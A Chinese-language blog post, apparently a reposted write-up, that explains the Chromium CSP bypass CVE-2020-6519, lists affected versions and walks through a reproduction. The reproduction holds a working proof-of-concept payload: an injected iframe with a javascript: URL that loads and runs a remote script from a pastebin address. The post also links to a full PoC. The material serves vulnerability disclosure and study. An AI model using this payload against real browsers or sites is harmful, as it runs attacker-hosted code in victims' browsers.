1. 程式人生 > 實用技巧 >CVE-2020-6519 Chromium csp策略繞過

CVE-2020-6519 Chromium csp策略繞過

csp簡介

CSP 的主要目標是減少和報告 XSS 攻擊 ,XSS 攻擊利用了瀏覽器對於從伺服器所獲取的內容的信任。惡意指令碼在受害者的瀏覽器中得以執行,因為瀏覽器信任其內容來源,即使有的時候這些指令碼並非來自於它本該來的地方。CSP通過指定有效域——即瀏覽器認可的可執行指令碼的有效來源——使伺服器管理者有能力減少或消除XSS攻擊所依賴的載體。一個CSP相容的瀏覽器將會僅執行從白名單域獲取到的指令碼檔案,忽略所有的其他指令碼 (包括內聯指令碼和HTML的事件處理屬性)。作為一種終極防護形式,始終不允許執行指令碼的站點可以選擇全面禁止指令碼執行;

CVE-2020-6519

影響範圍

核心 <= 84.0.4147.89
基於Chromium實現的瀏覽器,包括Chrome,windows Edge,不限平臺

復現

在設定如下的csp策略時

<meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' 'unsafe-inline'">

設定如下的script標籤,是無法執行的

因為csp的策略,導致無法載入非本伺服器的js指令碼。

繞過方法,可以使用iframe標籤,src為javascript協議去繞過csp策略。如圖

top._CVE_URL='https://pastebin.com/raw/dw5cWGK6'

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'>;</iframe>"

完成poc

https://github.com/PerimeterX/CVE-2020-6519/tree/master/POC

參考

https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/